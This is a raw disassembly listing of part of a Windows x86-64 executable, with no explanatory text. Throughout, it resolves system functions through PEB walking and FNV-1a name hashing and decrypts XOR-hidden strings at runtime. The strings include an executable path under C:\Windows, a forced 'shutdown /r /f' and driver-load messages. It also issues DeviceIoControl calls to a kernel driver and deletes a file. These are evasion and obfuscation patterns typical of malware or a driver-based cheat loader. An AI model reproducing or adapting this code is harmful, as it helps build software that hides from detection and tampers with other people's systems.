mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bb510
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bb510
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bb545
test r11, r11
je 0x1400bb510
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bb540
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bb560
cmp edi, 0x2fa62ca8
jne 0x1400bb540
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x190
call rdx
mov dword [rbp + 0x2d0], 0x38445a56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bb5c0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bb5c0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bb5f5
test r11, r11
je 0x1400bb5c0
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bb5f0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bb610
cmp edi, 0x491e0a9c
jne 0x1400bb5f0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
mov dword [rbp + 0x2d0], 0x736c63
add rdx, rax
lea rcx, [rbp + 0x2d0]
call rdx
mov qword [rbp + 0x550], 0
mov qword [rbp + 0x2d0], 0
mov eax, dword [0x14059d048]
mov dword [rbp + 0x2d0], eax
lea rax, [rbp + 0x550]
mov qword [rbp + 0x2d8], rax
mov rcx, qword [0x14059d040]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x2d0]
mov edx, 0x2204d4
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp + 0x550]
mov qword [0x14059d050], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bb6e0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bb6e0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bb715
test r11, r11
je 0x1400bb6e0
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bb710
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bb730
cmp edi, 0x2fa62ca8
jne 0x1400bb710
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x190
call rdx
movaps xmm0, xmmword [0x140171860]
movaps xmmword [rbp + 0x2d0], xmm0
mov word [rbp + 0x2e0], 0x65
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x2e1], 0
jne 0x1400bb7ac
xor byte [rbp + 0x2d0], 0x35
xor byte [rbp + 0x2d1], 0x36
mov dword [rbp + 0x2d0], 0x38445a56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bb7d0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bb7d0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bb805
test r11, r11
je 0x1400bb7d0
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bb800
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bb820
cmp edi, 0x491e0a9c
jne 0x1400bb800
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
mov dword [rbp + 0x2d0], 0x736c63
add rdx, rax
lea rcx, [rbp + 0x2d0]
call rdx
cmp qword [0x14059d050], 0
je 0x1400bbade
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bb890
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bb890
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bb8c5
test r11, r11
je 0x1400bb890
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bb8c0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bb8e0
cmp edi, 0x2fa62ca8
jne 0x1400bb8c0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x190
call rdx
movaps xmm0, xmmword [0x140171870]
movaps xmmword [rbp + 0x2d0], xmm0
mov dword [rbp + 0x2e0], 0x203e2d
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x2e3], 0
jne 0x1400bb965
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [0x140171830]
movss dword [rbp + 0x2d0], xmm0
mov rdx, qword [0x14059d050]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bb990
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bb990
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bb9c5
test r11, r11
je 0x1400bb990
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bb9c0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bb9e0
cmp edi, 0x2fa62ca8
jne 0x1400bb9c0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x320
call rdx
mov dword [rbp + 0x2d0], 0x38445a56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bba40
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bba40
movups xmm0, xmmword [0x1401707d7]
movups xmmword [rbp + 0x2d9], xmm0
movups xmm0, xmmword [0x1401707ce]
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
xor qword [rbp + 0x2e0], r12
xor byte [rbp + 0x2e8], 0x4d
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x2e8], 0
jne 0x1400bbb5a
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
xor qword [rbp + 0x2e0], r12
xor byte [rbp + 0x2e8], 0x4d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bbb70
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bbb70
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bbba5
test r11, r11
je 0x1400bbb70
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bbba0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bbbc0
cmp edi, 0x2fa62ca8
jne 0x1400bbba0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x320
call rdx
mov dword [rbp + 0x2d0], 0x38445a56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bbc20
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bbc20
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bbc55
test r11, r11
je 0x1400bbc20
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bbc50
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bbc70
cmp edi, 0x491e0a9c
jne 0x1400bbc50
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
mov dword [rbp + 0x2d0], 0x736c63
add rdx, rax
lea rcx, [rbp + 0x2d0]
call rdx
mov byte [rbp + 0x2d0], 1
mov rcx, qword [0x14059d040]
xorps xmm6, xmm6
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rsi, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea r8, [rbp + 0x2d0]
mov edx, 0x220d84
mov r9d, 1
call rsi
mov eax, dword [0x14059d048]
mov dword [rbp + 0x2d0], eax
mov rcx, qword [0x14059d040]
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x2d0]
mov edx, 0x2204d8
mov r9d, 4
call rsi
mov rax, qword [r13]
mov qword [rbp + 0x510], rax
mov qword [r13], 0
xor ecx, ecx
call qword [0x14059d0a0]
mov rdx, qword [rbp + 0x528]
mov rcx, qword [rbp + 0x510]
mov qword [rdx], rcx
mov rcx, qword [0x14059d158]
mov dword [rcx + 8], eax
mov rax, qword [rdx]
mov qword [rbp + 0x510], rax
mov qword [rdx], 0
mov ecx, 1
call qword [0x14059d0a0]
mov rcx, qword [rbp + 0x528]
mov rdx, qword [rbp + 0x510]
mov qword [rcx], rdx
mov rcx, qword [0x14059d158]
mov dword [rcx + 0xc], eax
mov rsi, qword [0x14059da78]
mov rcx, rsi
call fcn.1400c19d0
test al, al
je 0x1400bbdc5
mov rcx, rsi
call fcn.1400c1d20
jmp 0x1400bbf69
movaps xmm0, xmmword [0x140171880]
movaps xmmword [rbp + 0x2d0], xmm0
movabs rax, 0x676e6977617244
mov qword [rbp + 0x2e0], rax
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x2e7], 0
jne 0x1400bbe0f
lea rsi, [rbp + 0xb0]
mov rax, qword [rbp]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax], rcx
mov rax, qword [rbp]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax - 4], ecx
lea rcx, [rbp + 0x10]
call fcn.1400be9b0
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
xor eax, eax
movaps xmm6, xmmword [rbp + 0x5f0]
movaps xmm7, xmmword [rbp + 0x600]
add rsp, 0x698
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x2d8]
mov dword [0x14059d048], eax
test eax, eax
je 0x1400bb4a3
movabs rax, 0x495020646e756f46
mov qword [rbp + 0x2d0], rax
mov dword [rbp + 0x2d8], 0x3e2d2044
mov word [rbp + 0x2dc], reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
mov edx, dword [0x14059d048]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bc630
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bc630
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bc665
test r11, r11
je 0x1400bc630
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bc660
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bc680
cmp edi, 0x2fa62ca8
jne 0x1400bc660
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x190
call rdx
mov dword [rbp + 0x2d0], 0x38445a56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bc6e0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bc6e0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bc715
test r11, r11
je 0x1400bc6e0
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bc710
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bc730
cmp edi, 0x491e0a9c
jne 0x1400bc710
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
mov dword [rbp + 0x2d0], 0x736c63
add rdx, rax
lea rcx, [rbp + 0x2d0]
call rdx
jmp 0x1400bb659
lea rcx, [rbx + 1]
call fcn.140127dec
mov rcx, rax
mov qword [rbp + 0x170], rcx
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rbx
inc rsi
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp byte [rbp + 0x5dd], 0
jne 0x1400b8b40
jmp 0x1400b8b86
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
movups xmm0, xmmword [0x1401707a1]
movups xmmword [rbp + 0x309], xmm0
movups xmm0, xmmword [0x140170798]
movaps xmmword [rbp + 0x300], xmm0
movups xmm0, xmmword [0x140170788]
movups xmm1, xmmword [0x140170768]
xorps xmm1, xmmword [str.56789:_____ABCDCreateWindowExA]
movups xmm2, xmmword [0x140170778]
movaps xmmword [rbp + 0x2d0], xmm1
xorps xmm2, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2e0], xmm2
xorps xmm0, xmmword [str.UVWXYZ____abcdefghijkl56789:__C:_Windows_instaC:_Windows_1.exe___ABCDEFGHIJKLshutdown__r__f__Driver_Isnt_Load5678]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [0x1401717d0]
movaps xmmword [rbp + 0x300], xmm0
movabs rsi, 0x44434241403f3e3d
xor qword [rbp + 0x310], rsi
xor byte [rbp + 0x318], 0x45
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x318], 0
jne 0x1400bc8c9
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmm2, xmmword [rbp + 0x2f0]
movaps xmm3, xmmword [rbp + 0x300]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
xorps xmm2, xmmword [str.UVWXYZ____abcdefghijkl56789:__C:_Windows_instaC:_Windows_1.exe___ABCDEFGHIJKLshutdown__r__f__Driver_Isnt_Load5678]
movaps xmmword [rbp + 0x2e0], xmm1
movaps xmmword [rbp + 0x2f0], xmm2
xorps xmm3, xmmword [0x1401717d0]
movaps xmmword [rbp + 0x300], xmm3
xor qword [rbp + 0x310], rsi
xor byte [rbp + 0x318], 0x45
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bc8da
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bc8da
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bc915
test r11, r11
je 0x1400bc8da
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bc910
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bc930
cmp edi, 0x2fa62ca8
jne 0x1400bc910
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x1388
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bc97e
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bc97e
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bc9b5
test r11, r11
je 0x1400bc97e
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bc9b0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bc9d0
cmp edi, 0xcded1a85
jne 0x1400bc9b0
call fcn.140008e60
call fcn.140008e60
movups xmm0, xmmword [0x1401705f5]
movups xmmword [rbp + 0x55e], xmm0
movups xmm0, xmmword [0x1401705e7]
movaps xmmword [rbp + 0x550], xmm0
movups xmm0, xmmword [str.___g_a_j]
movups xmmword [rbp + 0x2de], xmm0
movups xmm0, xmmword [0x140170605]
movaps xmmword [rbp + 0x2d0], xmm0
movups xmm0, xmmword [0x140170623]
movaps xmmword [rbp + 0x5c0], xmm0
movabs rax, 0x4a27272e3224272a
mov qword [rbp + 0x5ce], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bca7c
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bca7c
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bcab5
test r8d, r8d
je 0x1400bca7c
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bcab0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bcad0
cmp edi, 0x23a979e4
jne 0x1400bcab0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r10d, dword [rcx + rdx*4]
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
movabs rcx, 0x4c4b4a4948474645
xor qword [rbp + 0x2e0], rcx
xor byte [rbp + 0x2e8], 0x4d
add r10, rax
xor byte [rbp + 0x2e9], 0x4e
movaps xmm0, xmmword [0x1401717a0]
xor byte [rbp + 0x2ea], 0x4f
movaps xmmword [rbp + 0x5c0], xmm0
xor byte [rbp + 0x2eb], 0x50
mov dword [rbp + 0x5d0], 0x6f697461
xor byte [rbp + 0x2ec], 0x51
mov word [rbp + 0x5d4], WSACleanup
xor byte [rbp + 0x2ed], 0x52
lea rdx, [rbp + 0x2d0]
lea r8, [rbp + 0x5c0]
xor ecx, ecx
xor r9d, r9d
call r10
cmp byte [rbp + 0x2ed], 0
jne 0x1400bcbe7
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
movabs rax, 0x4c4b4a4948474645
xor qword [rbp + 0x2e0], rax
xor byte [rbp + 0x2e8], 0x4d
xor byte [rbp + 0x2e9], 0x4e
xor byte [rbp + 0x2ea], 0x4f
xor byte [rbp + 0x2eb], 0x50
xor byte [rbp + 0x2ec], 0x51
xor byte [rbp + 0x2ed], 0x52
cmp byte [rbp + 0x5d5], 0
jne 0x1400bcc08
movabs rax, 0x3c3b3a3938373635
xor qword [rbp + 0x5c0], rax
xor byte [rbp + 0x5c8], 0x3d
movaps xmm0, xmmword [rbp + 0x550]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x550], xmm0
movabs rax, 0x4c4b4a4948474645
xor qword [rbp + 0x560], rax
xor byte [rbp + 0x568], 0x4d
xor byte [rbp + 0x569], 0x4e
xor byte [rbp + 0x56a], 0x4f
xor byte [rbp + 0x56b], 0x50
xor byte [rbp + 0x56c], 0x51
xor byte [rbp + 0x56d], 0x52
lea rax, [rbp + 0x550]
mov qword [rbp + 0x5c0], rax
lea rcx, [rbp + 0x2d0]
lea rdx, [rbp + 0x5c0]
xor r8d, r8d
call fcn.1400b7d80
lea rcx, [rbp + 0x2d0]
call fcn.1400b7ce0
mov ebx, eax
lea rcx, [rbp + 0x2d0]
call fcn.1400689a0
cmp byte [rbp + 0x56d], 0
jne 0x1400bccef
movaps xmm0, xmmword [rbp + 0x550]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x550], xmm0
movabs rax, 0x4c4b4a4948474645
xor qword [rbp + 0x560], rax
xor byte [rbp + 0x568], 0x4d
xor byte [rbp + 0x569], 0x4e
xor byte [rbp + 0x56a], 0x4f
xor byte [rbp + 0x56b], 0x50
xor byte [rbp + 0x56c], 0x51
xor byte [rbp + 0x56d], 0x52
test bl, bl
je 0x1400bcdb6
cmp byte [rbp + 0x56d], 0
je 0x1400bcd50
movaps xmm0, xmmword [rbp + 0x550]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x550], xmm0
movabs rax, 0x4c4b4a4948474645
xor qword [rbp + 0x560], rax
xor byte [rbp + 0x568], 0x4d
xor byte [rbp + 0x569], 0x4e
xor byte [rbp + 0x56a], 0x4f
xor byte [rbp + 0x56b], 0x50
xor byte [rbp + 0x56c], 0x51
xor byte [rbp + 0x56d], 0x52
lea rcx, [rbp + 0x550]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [rbp + 0x56d], 0
jne 0x1400bcdb6
movaps xmm0, xmmword [rbp + 0x550]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x550], xmm0
movabs rax, 0x4c4b4a4948474645
xor qword [rbp + 0x560], rax
xor byte [rbp + 0x568], 0x4d
xor byte [rbp + 0x569], 0x4e
xor byte [rbp + 0x56a], 0x4f
xor byte [rbp + 0x56b], 0x50
xor byte [rbp + 0x56c], 0x51
xor byte [rbp + 0x56d], 0x52
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bcdc7
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bcdc7
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bcdfb
test r11, r11
je 0x1400bcdc7
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bcdf6
add rsi, r10
mov edi, 0x811c9dc5
nop word cs:[rax + rax]
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bce20
cmp edi, 0xcded1a85
jne 0x1400bcdf6
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
